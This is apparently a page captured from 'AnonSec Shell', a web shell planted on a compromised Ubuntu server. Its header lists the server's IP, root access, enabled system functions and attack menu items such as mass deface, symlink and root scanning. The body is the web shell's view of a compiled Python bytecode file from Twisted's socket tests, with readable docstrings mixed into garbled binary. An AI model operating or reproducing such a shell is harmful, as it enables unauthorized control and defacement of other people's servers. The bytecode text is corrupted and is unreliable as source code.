AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/test_socket.cpython-310.pyc
o

�b�$�@s�dZddlZddlZddlmZddlmZddlmZddl	m
Z
mZddlm
Z
mZddlmZdd	lmZGd
d�de
�ZGdd
�d
e
�ZGdd�de
�ZGdd�de
�Ze��e���e��e���e��e���e��e���dS)aD
Tests for implementations of L{IReactorSocket}.

Generally only tests for failure cases are found here.  Success cases for
this interface are tested elsewhere.  For example, the success case for
I{AF_INET} is in L{twisted.internet.test.test_tcp}, since that case should
behave exactly the same as L{IReactorTCP.listenTCP}.
�N)�verify)�UnsupportedAddressFamily)�IReactorSocket)�DatagramProtocol�
ServerFactory)�ReactorBuilder�needsRunningReactor)�err)�platformc@�eZdZdZegZdd�ZdS)�&IReactorSocketVerificationTestsBuilderaO
    Builder for testing L{IReactorSocket} implementations for required
    methods and method signatures.

    L{ReactorBuilder} already runs L{IReactorSocket.providedBy} to
    ensure that these tests will only be run on reactor classes that
    claim to implement L{IReactorSocket}.

    These tests ensure that reactors which claim to provide the
    L{IReactorSocket} interface actually have all the required methods
    and that those methods have the expected number of arguments.

    These tests will be skipped for reactors which do not claim to
    provide L{IReactorSocket}.
    cCs|��}|�t�t|��dS)zf
        The reactor instance returned by C{buildReactor} provides
        L{IReactorSocket}.
        N)�buildReactor�
assertTruer�verifyObjectr)�self�reactor�r�C/usr/lib/python3/dist-packages/twisted/internet/test/test_socket.py�
test_provider-sz4IReactorSocketVerificationTestsBuilder.test_providerN)�__name__�
__module__�__qualname__�__doc__r�requiredInterfacesrrrrrrsrc@�.eZdZdZegZdd�Zdd�Zdd�ZdS)	�!AdoptStreamPortErrorsTestsBuilderas
    Builder for testing L{IReactorSocket.adoptStreamPort} implementations.

    Generally only tests for failure cases are found here.  Success cases for
    this interface are tested elsewhere.  For example, the success case for
    I{AF_INET} is in L{twisted.internet.test.test_tcp}, since that case should
    behave exactly the same as L{IReactorTCP.listenTCP}.
    cC�r|��}t��}|��}|��|�tj|j|tjt��}t	�
�r-|�|jdt
j�dS|�|jdt
j�dS)z�
        An implementation of L{IReactorSocket.adoptStreamPort} raises
        L{socket.error} if passed an integer which is not associated with a
        socket.
        rN)r
�socket�fileno�close�assertRaises�error�adoptStreamPort�AF_INETrr
�	isWindows�assertEqual�args�errno�WSAENOTSOCK�EBADF�rr�prober�excrrr�test_invalidDescriptorB��z8AdoptStreamPortErrorsTestsBuilder.test_invalidDescriptorcCsR|��}t��}|�d�|�d�|�|j�d}|�t|j|�	�|t
��dS)z�
        An implementation of L{IReactorSocket.adoptStreamPort} raises
        L{UnsupportedAddressFamily} if passed an address family it does not
        support.
        �z	127.0.0.1r��N)r
r�bind�listen�
addCleanuprr rr"rr�rr�port�	arbitraryrrr�test_invalidAddressFamilyZs

�z;AdoptStreamPortErrorsTestsBuilder.test_invalidAddressFamilycs�����t������j���d���d���d�������j	t
��}|�����fdd�}��|���
td�t���fdd�����d	S)
a9
        When the L{IListeningPort} returned by
        L{IReactorSocket.adoptStreamPort} is stopped using
        C{stopListening}, the underlying socket is closed but not
        shutdown.  This allows another process which still has a
        reference to it to continue accepting connections over it.
        r/r0FcsH��tj�j�}t��r��|jdtj	�dS��|jdtj
�dS)Nr)r rr!�acceptr
r$r%r&r'�WSAEWOULDBLOCK�EAGAIN��ignoredr,��
portSocketrrr�stopped�szFAdoptStreamPortErrorsTestsBuilder.test_stopOnlyCloses.<locals>.stoppedz"Failed to accept on original port.c����fdd��S)Nc����S�N��stop�r=�rrr�<lambda>��zYAdoptStreamPortErrorsTestsBuilder.test_stopOnlyCloses.<locals>.<lambda>.<locals>.<lambda>��addCallbackr��drrrrH��zGAdoptStreamPortErrorsTestsBuilder.test_stopOnlyCloses.<locals>.<lambda>N)r
rr4rr2r3�setblockingr"r�familyr�
stopListeningrK�
addErrbackr	r�run�rr6r@r�rMr?rrr�test_stopOnlyClosesqs"


�

�z5AdoptStreamPortErrorsTestsBuilder.test_stopOnlyClosesN�	rrrrrrr-r8rVrrrrr6s	rc@r)�'AdoptStreamConnectionErrorsTestsBuildera}
    Builder for testing L{IReactorSocket.adoptStreamConnection}
    implementations.

    Generally only tests for failure cases are found here.  Success cases for
    this interface are tested elsewhere.  For example, the success case for
    I{AF_INET} is in L{twisted.internet.test.test_tcp}, since that case should
    behave exactly the same as L{IReactorTCP.listenTCP}.
    cCs>|��}t��}|�|j�d}|�t|j|��|t��dS)z�
        An implementation of L{IReactorSocket.adoptStreamConnection} raises
        L{UnsupportedAddressFamily} if passed an address family it does not
        support.
        r1N)	r
rr4rr r�adoptStreamConnectionrr)rr�
connectionr7rrrr8�s�zAAdoptStreamConnectionErrorsTestsBuilder.test_invalidAddressFamilyN)rrrrrrr8rrrrrX�s
rXc@r)	�#AdoptDatagramPortErrorsTestsBuilderzR
    Builder for testing L{IReactorSocket.adoptDatagramPort} implementations.
    cCr)z�
        An implementation of L{IReactorSocket.adoptDatagramPort} raises
        L{socket.error} if passed an integer which is not associated with a
        socket.
        rN)r
rrrr r!�adoptDatagramPortr#rr
r$r%r&r'r(r)r*rrrr-�r.z:AdoptDatagramPortErrorsTestsBuilder.test_invalidDescriptorcCsF|��}t�tjtj�}|�|j�d}|�t|j|�	�|t
��dS)z�
        An implementation of L{IReactorSocket.adoptDatagramPort} raises
        L{UnsupportedAddressFamily} if passed an address family it does not
        support.
        r1N)r
rr#�
SOCK_DGRAMr4rr rr\rrr5rrrr8�s�z=AdoptDatagramPortErrorsTestsBuilder.test_invalidAddressFamilycs�����t�tjtj�����j���d���d�����	��j
t��}|�����fdd�}��
|���td�t���fdd�����dS)	a7
        When the L{IListeningPort} returned by
        L{IReactorSocket.adoptDatagramPort} is stopped using
        C{stopListening}, the underlying socket is closed but not
        shutdown.  This allows another process which still has a
        reference to it to continue reading and writing to it.
        r/FcsJ��tj�jd�}t��r��|jdtj	�dS��|jdtj
�dS)Nr0r)r rr!�recvfromr
r$r%r&r'r:r;r<r>rrr@	szHAdoptDatagramPortErrorsTestsBuilder.test_stopOnlyCloses.<locals>.stoppedz Failed to read on original port.crA)NcrBrCrDrFrGrrrHrIz[AdoptDatagramPortErrorsTestsBuilder.test_stopOnlyCloses.<locals>.<lambda>.<locals>.<lambda>rJrrLrrrHrNzIAdoptDatagramPortErrorsTestsBuilder.test_stopOnlyCloses.<locals>.<lambda>N)r
rr#r]r4rr2rOr\rrPrrQrKrRr	rrSrTrrUrrV�s 

�
	�z7AdoptDatagramPortErrorsTestsBuilder.test_stopOnlyClosesNrWrrrrr[�sr[)rr'r�zope.interfacer�twisted.internet.errorr�twisted.internet.interfacesr�twisted.internet.protocolrr�#twisted.internet.test.reactormixinsrr�twisted.python.logr	�twisted.python.runtimer
rrrXr[�globals�update�makeTestCaseClassesrrrr�<module>s$	f#]

Anon7 - 2022
AnonSec Team